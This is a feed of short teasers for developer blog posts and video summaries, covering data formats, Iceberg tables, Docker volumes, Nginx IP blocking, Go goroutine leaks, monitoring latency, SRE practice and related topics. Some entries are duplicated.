    When working with LLMs, even small details—like how you format your data—can add up to noticeable differences in cost and performance. One of the new formats people have been experimenting with is called Toon(Token-Oriented Object Notation), and it’s gaining attention because of how compact it is. It conveys structured information like JSON or XML, but with fewer characters, which usually means fewer tokens. This doesn’t replace established formats. JSON and XML are excellent for APIs, external integrations, and strict data handling. Toon simply offers a lighter alternative specifically for situations where data is being processed inside an LLM prompt or response, where size matters more than strict formal structure. Below, I’ll walk through what Toon looks like, how to write it, how to cr…  ( 10 min )
    [Apache Iceberg] Iceberg Performance: The Hidden Cost of NULLS FIRST
    Introduction Apache Iceberg is a widely-used table format in Data Lakehouse architectures. It provides flexibility in how data is written, with two key optimizations: partition, which splits data into segments, and sort, which reorders data within those segments. These optimizations can significantly reduce the amount of data scanned by query engines, ultimately boosting query performance. When querying data with high-cardinality columns (e.g., IDs or serial numbers), quickly filtering out unnecessary values is crucial. Sorting becomes particularly valuable in these scenarios. The rationale is simple: if data is written in order, query engines can rapidly locate the needed data rather than performing a full table scan and discarding irrelevant rows. When configuring Iceberg table sort pr…  ( 12 min )
    Master the Shadowing Technique: Transform Your English Fluency in 30 Days
    Introduction What is the Shadowing Technique? Why is the Shadowing Technique Effective? Active Engagement: Unlike passive listening, shadowing requires active participation, which helps reinforce learning and retention. Step 1: Choose the Right Materials Frustration with Progress: It’s normal to feel frustrated if progress seems slow. Remember that fluency takes time, and celebrate small victories. Additional Resources Online Courses: Platforms like Coursera and Udemy offer courses specifically focused on improving English speaking skills. Language Apps: Apps like HelloTalk and Tandem connect you with native speakers for real-time practice. YouTube Channels: Channels like “English with Lucy” provide valuable tips and resources for mastering English fluency. By integrating the shadowing technique into your language learning routine, you’ll be well on your way to achieving the fluency and confidence you’ve always wanted. Happy shadowing!  ( 8 min )
    🏋️ Narwade's Health Club: A Full-Stack Fitness Platform
    I’m excited to share my latest project — Narwade's Health Club, a full-stack fitness website built to provide a modern, interactive experience for gym members and fitness enthusiasts. Live : Visit Site Source Code : GitHub Repo LinkedIn : LinkedIn Narwade's Health Club is a fully responsive website designed to showcase the gym’s services, membership plans, and tools like a BMI calculator. It also includes a contact form and a gallery to highlight the fitness community. The site is built with a clean UI and real-world functionality to help users explore the gym, calculate their BMI, and get in touch — all from one platform. 🏠 Homepage – Engaging hero section with a strong call-to-action 💳 Membership Plans – Multiple tiers 🧮 BMI Calculator – Gender-aware BMI calculation with visual feedback 🖼️ Gallery – Visual showcase of the gym and community 📞 Contact Form – Functional form with validation 📱 Fully Responsive – Optimized for all screen sizes Frontend: React.js, Tailwind CSS, React Icons Backend: Node.js, Express.js, MongoDB  ( 6 min )
    When Static Sites Stop Scaling: Migrating FreeDevTools (125K+ Pages) from Static Astro to SSR
    Hello, I'm Maneshwar. I'm working on FreeDevTools online currently building one place for all dev tools, cheat codes, and TLDRs — a free, open-source hub where developers can quickly find and use tools without any hassle of searching all over the internet. FreeDevTools started as a static Astro Dev Resource site. It worked perfectly when the project had a few thousand resources. But as the collection crossed 125,000+ pages, the static approach collapsed under its own weight. This post documents the real migration journey, why static rendering broke, why SSR became unavoidable, and the exact technical changes needed to convert Astro static routes into stable SSR pages without breaking routing, pagination, or content collections. This is not theory. This is exactly what happened while migr…  ( 9 min )
    Rediscovering the Joy of Coding — Writing My First Real Program in Pascal
    Rediscovering the Joy of Coding --- Writing My First Real Program in Pascal There's something magical about going back to the roots. Hey everyone, Bek here ! As a programmer, I've spent years bouncing between Python, Rust, Go, C#, So I did something unexpected. I went back to Pascal. Pascal feels like the programming equivalent of a freshly cleaned desk: The syntax is easy to memorize\ It's incredibly readable\ It forces you to think clearly\ And it gives you this warm, retro "I'm actually writing a program" feeling Writing Pascal makes me feel like a programmer again --- not just a Before diving into anything big, I wanted a simple project that still does something: a tiny health checker that calculates BMI and prints a It was such a small program... but writing it in Pascal was fun. No fighting the language.\ Just clean structure and pure logic. After the health checker, I decided to stretch Pascal a bit --- just I created a full Retro Journal System with: A fake boot sequence\ A menu\ A file-based journal\ Search functionality\ Statistics\ Retro green terminal vibes It's one of those tiny programs that reminds you why you started coding Final Thoughts This Pascal adventure reminded me of something important:\ Programming is supposed to be fun. Not stressful.\ Just fun. And Pascal --- with its simple structure and old-school charm --- If you've been feeling burned out or nostalgic, try writing a tiny Pascal program.\ You might surprise yourself.  ( 7 min )
    Why AI Alone Feels Like That One Friend Who Tells Great Stories but Never Brings Proof
    AI is powerful, but it behaves like someone giving you advice with zero receipts. If a model says your code efficiency score is 92, you have no idea if: the server massaged the score the result was cached from someone else’s input the data magically “changed” on its way to your screen This is fine for casual apps. AI gives great answers. Forget complex crypto terms. Forget heavy smart contracts. Immutability Once something is written, it’s stuck there forever. Even the developer who deployed the contract can’t fix a typo. Trust me, they’ve tried. Independent verification Anyone can check the hash. You don’t have to “just trust the server”. Tamper detection If someone alters the AI output, even a single comma, the hash disagrees like a strict teacher grading a shaky assignment. This gives y…  ( 8 min )
    Pull/Push in DevOps
    Push-based or Pull-based are synchronize code/config between dev, server and repository - but mechanism of synchronization is different. In push-based, we'll have an CI/CD flow which active "push" the changes to server. This model usually use in traditional deployment, apply the changes after pipeline run directly. Pros: Easy to deployment Re-use existing pipeline Immediate execution Cons: Hard to track drift Pipeline dependence Rollback missing Security risk Audit challenges In pull-based, the server actively pulls changes from the project’s repository. This approach is called GitOps, where Git acts as the Single Source of Truth. The workflow is similar to push-based, but with some key differences - The pipeline won't deploy to server directly - We add an agent (ArgoCD / Flux) to the server side, which continuously observes the project’s repository and pulls the changes to apply them to the server whenever updates occur. Pros: Automation Easy rollback Multi-cluster support Cons: Agent installation Complex configuration Polling latency Criteria Pull-Based Push-Based Status Synchronization Automation Manual (triggered by pipeline run) Installation Install agent in server side No need agent Suitable For Kubernetes, multi-cluster, complex project Medium-sized project, simple pipeline Security More secure (server only pulls from Git) High risk (pipeline needs direct access to server)  ( 6 min )
    IInteger Generic Parameters in Swift 6.2: A New Era for Type-Safe Programming
    Swift 6.2, released in September 2025, introduces a groundbreaking feature that fundamentally changes how we can use Swift's type system: Integer Generic Parameters. This feature, formalized through Swift Evolution proposal SE-0452, brings Swift closer to languages like C++ and Rust while maintaining Swift's characteristic safety and clarity. Before diving into integer generic parameters, let's establish what generic parameters are in Swift. Generic parameters allow you to write flexible, reusable code that can work with any type. They're the foundation of Swift's type system and power many of the standard library's most useful features. When you write a generic type or function, you use placeholder type names (commonly T, Element, or descriptive names) that get replaced with actual types …  ( 15 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    ‘Snake Eyes’ Rewatch Bill Simmons, Sean Fennessey, and Van Lathan dive into Brian De Palma’s thriller, breaking down Nic Cage’s carnival-barker swagger, Gary Sinise’s sinister shifts, and Carla Gugino’s scene-stealing moments—complete with their signature sewer-worthy banter. Episode Details Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo. Brought to you by PayPal’s Pay in 4 holiday deal (5% cash back!). Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
    TL;DR CinemaSins just dropped a 17-minute roast of Jurassic World: Rebirth, tallying up every plot hole, cliché and “you’ve-gotta-be-kidding-me” moment as dinosaurs rise (again) and fans can’t look away. It’s everything you love—mildly sarcastic commentary, rapid-fire jabs and, of course, a final sin count that’ll make you chuckle. Want more? They’ve got your back with a full link tree (YouTube channels, website, polls and Patreon), plus a shout-out to their sinning squad of writers on Twitter and Instagram, a Discord server, Reddit community, TikTok and even a book by Jeremy. Enjoy the carnivorous fun! Watch on YouTube  ( 6 min )
    Introducing KurrentDB-Swift: Bringing Event Sourcing to Server-Side Swift
    Event Sourcing is transforming how we build modern applications. Companies like Uber, Netflix, and Amazon use it to build scalable, auditable systems. But if you're a Swift developer wanting to leverage this powerful pattern, you've been out of luck—until now. Today, I'm excited to share KurrentDB-Swift, a production-ready Swift client for Kurrent (formerly EventStoreDB) that brings enterprise-grade Event Sourcing capabilities to the Swift ecosystem. Before we dive in, here's what KurrentDB-Swift brings to the table: ⏱️ Over 1 year of active development 💪 425+ commits across 46 releases 📦 Available on Swift Package Index ✅ Zero data-race safety (Swift 6 ready) 📚 Comprehensive documentation with tutorials 🔧 Actively maintained (last update: 3 days ago) Server-Side Swift is maturing ra…  ( 11 min )
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    Biniax is a very simple, but interesting, vertical scrolling , matching game. You have to move you piece to collapse against the piece This is how we start. The game is written in ANSI C and uses SDL. I had to fix the source code for compilation, it is maintained here https://github.com/orsenthil/biniax2/tree/main, and the architecture gives the architectural concepts for developement.  ( 6 min )
    Complete Machine Learning: Semester Exam Prep Guide
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    🎮 Understanding Linux Cgroups
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    When Big O Lies
    Since the academy era and throughout documentation digging, the Big O has been a de-facto standard for evaluating algorithms: from sorting and look-up in a collection to insertion operations or even simple palindrome checks (especially in interview live-coding sessions). However, efficiency is not the same as "best to use in this case". Disclaimer This article focuses on practical understanding of algorithmic complexity for real-world engineering. The explanation of asymptotic notation is intentionally simplified and does not cover all formal mathematical details (Θ, Ω, ω, etc.). All performance comparisons assume typical hardware behavior and ignore machine-specific optimizations unless stated. The small-N "impossible cases" are illustrative and not meant as practical recommendations. Big…  ( 17 min )
    Why Trust Matters More Than Any Tool in Technical Work
    In a world where most IT problems are treated as ticket numbers, stories like this discussion about why trust and clear communication matter more than any copier part feel uncomfortably relevant to how we build software, run infrastructure, and work with vendors today. We rarely think about trust as a “technical” topic, yet it quietly decides which projects ship, which incidents get resolved quickly, and which partnerships survive the first real outage. Tools can be replaced, architectures can be refactored, but once trust is gone, everything starts to wobble. For developers and technical leaders, this isn’t abstract philosophy. Your daily work rests on an invisible layer of human relationships: your team, your manager, your vendors, and your users. Without trust and clear communication, t…  ( 10 min )
    🧠 Detecting and Preventing Goroutine Leaks in Production (Leak Detection in Go)
    Goroutines are one of Go’s biggest superpowers — lightweight, fast, and easy to spin up. But with great power comes great responsibility. silently leak, grow in number over time, consume memory, and eventually bring down your service. Goroutine leaks are sneaky. They often don’t break your code immediately… slowly eat your system alive. In this guide, we’ll explore: What causes goroutine leaks Real-world patterns that accidentally leak How to debug them (pprof, trace, runtime APIs) How to prevent leaks using context cancellation and proper channel patterns Production-ready best practices Let’s dive in. 🚀 A goroutine leak happens when a goroutine never exits, usually because it is: blocked on a channel waiting on a select case that never fires stuck on I/O waiting for a context that is nev…  ( 9 min )
    Docker - Host–Container File Sharing : Named Volumes vs Bind Mounts, Behavior Differences, and Key Pitfalls
    When sharing files between a host and a Docker container, there are two main options: "named volumes" and "bind mounts". They look similar in docker-compose.yml, but their behavior is very different — and that difference can cause serious headaches if you don’t understand it. Let’s dig into what actually happens, using a real case I ran into. (Note: I’ll skip the basics of Docker and Docker Compose setup here.) Infrastructure: AWS EC2 Architecture: 64-bit ARM OS: Ubuntu Server 24.04 Docker: 28.1.1 Docker Compose: v2.35.1 Docker provides two ways to share files between the host and a container: Named Volumes Bind Mounts They look nearly identical in configuration, but behave differently when you start up your container. Let’s look at both. No "./" prefix: volu…  ( 9 min )
    Docker - Host–Container File Sharing : Named Volumes vs Bind Mounts, Behavior Differences, and Key Pitfalls
    When sharing files between a host and a Docker container, there are two main options: "named volumes" and "bind mounts". They look similar in docker-compose.yml, but their behavior is very different — and that difference can cause serious headaches if you don’t understand it. Let’s dig into what actually happens, using a real case I ran into. (Note: I’ll skip the basics of Docker and Docker Compose setup here.) Infrastructure: AWS EC2 Architecture: 64-bit ARM OS: Ubuntu Server 24.04 Docker: 28.1.1 Docker Compose: v2.35.1 Docker provides two ways to share files between the host and a container: Named Volumes Bind Mounts They look nearly identical in configuration, but behave differently when you start up your container. Let’s look at both. No "./" prefix: volu…  ( 9 min )
    Disaster and Emergency Response with TAK and AWS
    Speaker: Uriel Alonso @ AWS Community Day Hong Kong 2025 Summary by Amazon Nova https://www.youtube.com/watch?v=nhrC2V4KDPQ Disaster Exposure in the Philippines: The Philippines is one of the most disaster-prone countries, ranked as such for 16 consecutive years. Experiences an average of 20 tropical storms annually, along with floods, earthquakes, landslides, and volcanic events. These hazards overwhelm first responders due to scale, frequency, mass casualties, and communication challenges. Global Challenge: Disasters are not limited to the Philippines; they are a global issue affecting many countries. Solution: Reliable Communication During Disasters: Real-time situational maps. Drone feeds to locate victims, hazards, and damage. Disconnected operations for remote or offline…  ( 8 min )
    How to Cut AWS Costs and Maintain Reliability Without a FinOps Team
    Managing AWS costs can be overwhelming, especially for startups and development teams. Running resources 24/7, oversized instances, and lack of monitoring often lead to surprise bills. But what if you could optimize costs automatically while keeping your infrastructure reliable? In this post, I’ll walk you through a practical approach to solving seven common AWS cost problems using automation and best practices Runaway AWS Costs The Problem: Dev/test resources run continuously, and bills spiral out of control. Manual Cost Management The Problem: Tracking and stopping resources manually is error‑prone and time‑consuming. Lack of Cost Visibility The Problem: Teams only notice overspending when the bill arrives. Reliability vs Cost Trade-off The Problem: Cutting costs often sacrifices uptime…  ( 7 min )
    Disaster and Emergency Response with TAK and AWS
    Speaker: Uriel Alonso @ AWS Community Day Hong Kong 2025 Summary by Amazon Nova https://www.youtube.com/watch?v=nhrC2V4KDPQ Disaster Exposure in the Philippines: The Philippines is one of the most disaster-prone countries, ranked as such for 16 consecutive years. Experiences an average of 20 tropical storms annually, along with floods, earthquakes, landslides, and volcanic events. These hazards overwhelm first responders due to scale, frequency, mass casualties, and communication challenges. Global Challenge: Disasters are not limited to the Philippines; they are a global issue affecting many countries. Solution: Reliable Communication During Disasters: Real-time situational maps. Drone feeds to locate victims, hazards, and damage. Disconnected operations for remote or offline…  ( 8 min )
    A Free OpenAPI 3.2 Editor with Linting and Outline Support
    If you still rely on Swagger Editor to draft or review OpenAPI definitions, you have probably hit its limits. It is stuck on an old version of the spec, it cannot flag most design issues, and large files quickly turn into a scrolling marathon. OpenAPI 3.2 introduces structured tags, the QUERY method, improved XML modelling, clearer multipart rules and support for event streams. None of this is recognised in the legacy editor. So here is a replacement you can actually use today: DeveloperHub - API Editor The editor is fully free, no login required, and built specifically for modern OpenAPI work. Full 3.2 support Instant linting Document outline Zero setup If you maintain APIs, review specs in pull requests, or onboard teams to OpenAPI, this gives you a straightforward and up to date tool. It is also perfect for experimenting with new 3.2 features without fighting your editor. Give it a go and feel free to share it with your team: https://app.developerhub.io/api-editor  ( 6 min )
    More advanced use of console logging
    Logging values ​​to the console is an integral part of my daily work (and probably yours too). We can place all sorts of messages in the console: validating data, displaying information after a process has completed, or providing developer warnings are just some of the uses of the console object. All these operations and many more can be performed using only the methods available for this object. These include: console.log console.error console.debug console.info console.warn In this post, I'd like to present a more advanced way to manage logging in your application. This approach will bring order to your code and allow us to handle such a trivial operation with a separate module that we can modify as needed. In many projects, I've encountered the use of the no-console rule in ESlint, whic…  ( 8 min )
    Is React a good fit for the future of AI-generated UI?
    Recently I’ve been thinking about where frontend development is heading — especially now that AI-assisted UI generation and design-code workflows are becoming more realistic. React is one of the most popular frontend libraries, but its architecture raises an important question: Is React the right tool for a future where UI and logic could be handled by different roles? For example: designers (with help from AI tools) can generate the UI structure, while frontend developers can focus on the logic. Unlike frameworks such as Angular, Vue, Svelte, and others that separate markup (html) and logic (ts/js), React mixes markup, logic, state, and behavior all into the same block of code. That’s convenient for developers, but it can introduces challenges for design-to-code AI tools. Tools that generate only templates (HTML) and CSS can produce cleaner and more predictable output. But when markup and logic are tightly coupled, it becomes harder to: keep code clean track only logic or only template changes automate UI generation Is template, logic separation feels much more aligned with the direction automated UI generation heading? Designers or AI systems could generate clean templates, and developers could plug in the logic without responsibilities bleeding together. Could React’s architecture limit its effectiveness for future design-to-code workflows, generating messy code that’s difficult to maintain and forcing full-file reviews whenever designs change?  ( 6 min )
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    Source code The template-file action - contains the actual implementation of the templating. An example of how to call the action Github Actions are one of the best tools for building and publishing your systems (especially when your company already uses Github, and especially when you don't even have a choice, welcome to enterprise development). Github Actions have a concept of reusable workflows. Those allow you to expose / reuse parts of your actions to other parties, thus giving a possibility of creating a standardized flow. Github itself provides several reusable workflows, and you've probably already used them many times. One of them is a checkout action which allows you to check out a repo. Reusable workflows allow defining a set of input and output params. The above checkout act…  ( 8 min )
    I built an HTML PDF API for real-world web apps (SPAs, iframes, dashboards)
    Most of us hit this at some point: “I need to generate a PDF from HTML… and it has to look exactly like the page.” So you pick a CLI tool or library, wire it up, and it kind of works… until you have: heavy JavaScript charts and dashboards in iframes React / SPA pages that render mostly on the client and a production server that now runs some fragile headless setup I’ve been through this a few times, so I ended up building a service I wish I had earlier: a hosted HTML → PDF/PNG API called GoPDFGenie. This post is about: why I built it, how the async API works (jobs), how to call it from Node/Python, and how you can run it hosted or self-hosted. Tools like wkhtmltopdf and many HTML→PDF wrappers are fine when: the HTML is simple, there’s almost no JS, and you don’t care too much about pixel-perfect layout. In real products I kept seeing: PDFs that didn’t match the live UI things breaking when the frontend team changed layout or added JS weird CSS/JS incompatibilities with older engines and the ongoing cost of maintaining your own headless rendering stack Once SPAs, dashboards, and iframes show up, the “just install X and call it a day” story falls apart. For my own projects, I wanted a service that: Renders pages in a real modern browser engine Handles SPAs, iframes, dashboards, charts Is hosted, so I don’t maintain headless infra again Has simple, usage-based pricing Still allows self-hosting/on-prem if a team needs that So I built GoPDFGenie. 👉 Live site: https://gopdfgenie.com 👉 API docs (Swagger UI): https://gopdfgenie.com/swagger-ui/index.html 👉 GitHub examples: https://github.com/gopdfgenie/html-to-pdf-api :contentReference[oaicite:2]{index=2} At a high level, GoPDFGenie is: “Give me a URL or HTML → I’ll render it in a headless browser → you fetch the PDF/PNG when it’s ready.” The API is asynchronous: You create a conversion job. The API returns a jobId. You poll the job status. When it’s COMPLETED, you fetch the result file as PDF or PNG. Base URL: text https://gopdfgenie.com/api/v1  ( 7 min )
    Star Multi-Class Classification Neural Network With Pytorch
    Introduction: Whenever I hear any stories about stars far far away from earth, Im talking millions of light years away not possibly seen visually through any telescope, I always wonder: "How on earth (pun intended) do they find out what typa star it is from this far away?!" But I'm not satisfied until I do it myself. So in this notebook I'll be writing a model that classifies a star's type based on it's features. (And also serve as a good practice for Pytorch) The dataset consists of 6 collumns. The Temperature of the star The Luminosity of the star It's Radius It's Absolute Magnitude It's General Color of Spectrum The Spectral Class Everything should be obvious, however the Spectral Class might be news. An asteroid spectral type is assigned to asteroids based on their reflectance s…  ( 13 min )
    👋 Hi Dev Community! I am Promise (you can call me SP), I am super excited to share my journey here too!
    Lately, I have been sharing my tech progress across my social platforms, and I realized… Instagram, LinkedIn, X or Thread. I shared one of the most interesting parts of my Data Science learning so far, the finance side of data analysis, where I merged a US GDP and S&P500 (stock market index)to see if GDP can help predict stock prices. If you’d like to see the post that inspired today’s update, here it is: This is the beginning of my Dev.to journey. If you enjoy real-time learning, especially from someone navigating Data Science step-by-step, I’d love to connect with you here. Thanks for reading, see you later with another update.  ( 7 min )
    Why CI/CD Is Not Just Jenkins and YAML: The Untold Reality of DevOps Pipelines
    The Reality of Building CI/CD Pipelines (Real DevOps Life) 1️⃣ CI/CD is NOT just “Jenkins + Git + Docker” People think pipeline means: pipeline { NO. Real-world pipelines include: Multiple repos Multiple branches Multiple environments Secrets management Rollback strategy Compliance checks Infrastructure provisioning Quality gates Security scans Cost guardrails A REAL pipeline = 20–35 steps, not 3 steps. 2️⃣ 90% of the Time Is Spent Fixing Issues, NOT Writing Pipelines You will deal with: Agent down Disk full on runner Token expired Cache corrupted Maven repo down Docker registry unreachable Kubernetes API throttling SonarQube not responding TLS certificate expired Build stuck at 1% for 40 mins Reality: Pipeline success is the last chapter, not the whole story. 3️⃣ Security is everywhere — …  ( 7 min )
    🎃 Transforming the Web Into a Spooky World — Building Halloween Vibes with Kiro
    For this Hackathon kiroween, I wanted to build something fun, atmospheric, and full of personality. Halloween has always been about eerie visuals, creepy sounds, and unexpected jump scares — so why not bring that experience to any website on the internet? That’s how Halloween Vibes was born: a Chrome extension that instantly transforms ordinary webpages into a magical, spooky Halloween universe. 👻🕸️ Halloween is all about atmosphere — the glowing pumpkins, flickering lights, creepy whispers, and things that move when you’re not looking. I wanted to capture that feeling and bring it directly into the browser. Instead of a static theme or wallpaper, I envisioned something alive, animated, and reactive. Halloween Vibes became my way of turning the entire web into a fully immersive haunted e…  ( 8 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    ‘Snake Eyes’ Deep Dive Bill Simmons teams up with Sean Fennessey and Van Lathan to rewatch and riff on Brian De Palma’s twisty thriller Snake Eyes, starring Nic Cage, Gary Sinise, and Carla Gugino. Expect plenty of sewer-chase commentary, sharp insights, and the trio’s signature banter. Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this episode is brought to you by PayPal’s Pay in 4 (5% cash back all holiday season). Don’t forget to subscribe to The Ringer-Verse and Bill Simmons channels, and follow The Ringer on Twitter, Facebook, and Instagram for more movie talk. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
    TL;DR CinemaSins tears into Jurassic World: Rebirth, calling out every recycled dinosaur cameo, plot convenience, and franchise hiccup—all squeezed into a cheeky “17 minutes or less” video of signature snark. They also use the description as a mega–promo: directing you to their website, social channels (YouTube, Twitter, TikTok, Instagram), Discord and Reddit communities, a sinful survey, and a Patreon link to support the team behind the jabs. Watch on YouTube  ( 6 min )
    LLM Introduction
    You’ve probably heard the term “LLM” thrown around in conversations about AI, but what does it really mean — and why should you care as a developer? In this post, we’ll walk through Large Language Models (LLMs) in the simplest possible terms, explaining how they work, how they compare to traditional models, and what you need to know to get started. What is an LLM? A Large Language Model (LLM) is an advanced type of AI that generates human-like text. It can write stories, summarize documents, answer questions, generate code — you name it. Think of it like a supercharged version of your phone’s autocomplete, but trained on an enormous amount of text from books, websites, and more. How Do LLMs Work? Let’s break it down: Training = Reading a Ton of Text: LLMs learn by reading billions of words…  ( 8 min )
    Meet Pulsimo - Monitor Your Systems with Precision & Power
    Have you ever wondered— If your production backend or database service crashes, how fast do you actually get notified, and how quickly can you jump into troubleshooting? If a Prometheus + Alertmanager setup is properly tuned, you usually get notified within 1–1.5 minutes. Scrape Interval Let’s assume Prometheus scrapes metrics every 15–30 seconds, which is common in well-optimized setups. 15 seconds as the fastest scenario, the earliest delay starts here. Rule Evaluation Interval After scraping, alerting rules are evaluated every 15 seconds. Rules Manifest (for: 1m or reduced) Assume you've configured the rule such that if the service is down for 10 seconds, Prometheus should fire an alert. Alertmanager buffering (minimal assumptions) Ignoring group_wait, group_interval, repeat_interval to keep it raw— 10 seconds to process and send the first notification. Putting it all together: Scrape delay → ~15s Rule evaluation delay → ~15s Down detection threshold → ~10s Alertmanager handling → ~10s Network jitter → (Optional small fluctuation) 👉 Total: ~50 seconds – ~1 minute up to 1.5 minutes 1–1.5 minutes after the actual outage. During this time, your data loss may be small or large—depending on how critical the endpoint is. data loss will happen. within just 10 seconds? Imagine receiving outage alerts ~50 seconds earlier than Prometheus. Not just faster alerts—you could: Closely monitor application behavior in real-time Understand performance patterns Visualize dependency graphs Analyze blast radius Improve MTTR, SLA, SPOF detection Perform critical path analysis And much more... Pulsimo 🎉 An on-premise focused endpoint monitoring platform designed to give ultra-fast detection and deep observability. Currently in public beta. 🔗 https://pulsimo.github.io If anyone is interested in contributing — feel free to reach out!  ( 7 min )
    Why Modern Electronic Devices Are Rapidly Switching to Capacitive Touch Screens
    Touch screens have become a defining interface of modern electronic devices, replacing physical buttons and outdated resistive touch panels. From smartphones and tablets to industrial displays and automotive dashboards, capacitive touch screens have become the preferred solution for both consumer and professional applications. This shift did not happen by accident — it is driven by clear technological, usability, and reliability advantages that make capacitive touch the superior choice. Below is a detailed look at the major reasons why modern devices across industries are switching to capacitive touch screens. Capacitive touch screens detect the electrical properties of the human body, enabling highly precise and fast responses to user input. Unlike resistive screens, which rely on physica…  ( 8 min )
    Practical Guide to Dynamic IP Blocking in Nginx
    Blocking IPs dynamically in Nginx can effectively protect websites or applications from malicious requests, crawlers, or DDoS attacks. Compared to the traditional static method of modifying the configuration file and reloading Nginx, dynamic IP blocking can automatically identify and block malicious IPs in real-time, greatly enhancing security and operational efficiency. This article will elaborate on three mainstream solutions, combined with practical configurations and application scenarios, to help you implement them quickly. Source of the article:# Practical Guide to Dynamic IP Blocking in Nginx Implementation Method: It monitors Nginx logs, and when a certain threshold is reached, it calls the firewall or modifies the configuration to block the IP. Advantages: Easy to configure, …  ( 8 min )
    Increase my familiarity with BASE64.
    Greetings from the island nation of Japan. Here in the age of shiny Multimodal AI, we have a persistent, 30-year-old digital frenemy: BASE64. It's the technical equivalent of sending a 4K video by printing and faxing it—a mandatory, inefficient step that makes your data 33% heavier. We all recognize the painful necessity. This article strips away the nostalgia and offers a cynical guide to pragmatic coexistence, examining why this artifact remains essential in the JSON and REST-API world and providing the necessary code to master the relationship. If we must dance with this data encoding devil, allow me to escort you through the steps to lead the way. Recently, whether in personal hobby projects or work development, I keep encountering "BASE64." Sending images to Claude API → BASE64 Callin…  ( 15 min )
    Technical SEO for Developers: A Comprehensive Guide to Building Search-Friendly Applications
    Technical SEO for Developers: A Comprehensive Guide to Building Search-Friendly Applications Mina Golzari Dalir ・ Nov 16 #technicalseo #seo #nextjs #webdev  ( 6 min )
    Technical SEO for Developers: A Comprehensive Guide to Building Search-Friendly Applications
    As developers, we often focus on writing clean code and optimizing performance, but one critical aspect that's frequently overlooked is technical SEO. In this article, using a real-world plastic injection factory example, we'll explore how you can implement SEO at the code level. Why Technical SEO Matters The Business Impact 60% of organic clicks go to the first three results 53% of website traffic comes from organic search Proper technical SEO can increase conversion rates by 30% Real-World Code Analysis: Plastic Injection Factory Example export const metadata: Metadata = { // Strategic title tag title: "Products & Services | Plastic Injection Factory", description: "Comprehensive plastic injection services • Precision mold making • Plastic parts manufacturing for automotive…  ( 9 min )
    SRE in Action: Understanding How Real Teams Use SLOs, SLIs, and Error Budgets to Stay Reliable Through Case Studies - Part 1
    When people talk about Site Reliability Engineering (SRE), they often share abstract principles about SLIs, SLOs, and error budgets. But here's the problem: understanding the concepts isn't the same as knowing how to apply them. The truth is, reliability challenges look radically different depending on where you sit. This article presents two SRE implementations from completely different perspectives, a complete walkthrough for beginners: For startups (CompanyA): it's about moving fast without breaking everything as you scale. For enterprises (CompanyB): it's about coordinating dozens of teams who can't agree on what "reliable" even means. Both need SRE principles. But the implementation couldn't be more different. Let's dive in. By the end of this case study, you will understand: How to i…  ( 11 min )
    AI in One Repo
    Everything You Need to Know About AI — In One Repository Dhanush N ・ Nov 2 #ai #resources #github #beginners  ( 6 min )
    Weekly Challenge: The one about formatting
    Weekly Challenge 347 Each week Mohammad S. Anwar sends out The Weekly Challenge, a chance for all of us to come up with solutions to two weekly tasks. My solutions are written in Python first, and then converted to Perl. It's a great way for us all to practice some coding. Challenge, My solutions You are given a date in the form: 10th Nov 2025. Write a script to format the given date in the form: 2025-11-10 using the sets below. @DAYS = ("1st", "2nd", "3rd", ....., "30th", "31st") @MONTHS = ("Jan", "Feb", "Mar", ....., "Nov", "Dec") @YEARS = (1900..2100) Both of these weeks tasks are pretty straight forward so don't require too much explanation. For this task, I start by defined the lists (arrays in Perl) for DAYS, MONTHS and YEARS. As the years are actually a string, I use the map …  ( 8 min )
    Scale Django on Seenode: Production Architecture That Actually Works
    Advanced scaling patterns for Django apps - from 100 to 100K requests/day Last year I pushed 18 app versions with staging endpoints hardcoded into production. Residents across the UK couldn't unlock their hotel rooms via NFC. My PM couldn't log in. That was a frontend disaster, but it taught me something: deployment F-ups scale with complexity. Django backend scaling is the same energy - you can't just throw more Gunicorn workers at it and pray. I learned this the hard way when a payments API I built started choking at 2,000 req/min. Tea break interrupted at 11am by a Slack ping: "Checkout timing out, users complaining." I ssh'd in, watched workers dying one by one, and realized our monolith was the problem. This article covers what actually worked when I migrated that payments system to S…  ( 12 min )
    ROFL Proxy for HTTPS Hosting
    Some big developer news from the Oasis ecosystem: ROFL now supports proxy-based frontend hosting directly inside TEEs (Trusted Execution Environments). No more manual proxy or TLS setup: ROFL auto-assigns subdomains (or lets you configure your own custom domain), handles DNS, and provisions TLS certs — all inside the TEE. It uses Wireguard tunnels between the scheduler and the app, so traffic is encrypted, and TLS keys never leave the trusted enclave. The deployment flow is super simple for devs: Add domain annotation to your docker-compose (or similar) file. Rebuild & redeploy. Run oasis rofl CLI to get DNS instructions. Add DNS records + verification token. Restart your app — TLS is provisioned automatically. Why this is a big deal: Full-stack confidential compute: React frontend + backend logic can now live in the same TEE, with full HTTPS. Easier production deployment: No need to configure reverse proxies or external certificate providers separately. Security + trust: All TLS keys are generated inside the TEE — even in-memory — so you don’t expose them. If you're building privacy-preserving dApps or just want to run a secure UI for your backend inside a TEE, this is a game-changer. Who here is using ROFL for their apps? Does this make you more likely to deploy frontend + backend in the same environment? full thread can be found here!  ( 6 min )
    ai coding
    A post by aka  ( 5 min )
    x402: Internet-Native Payments for the Modern Web
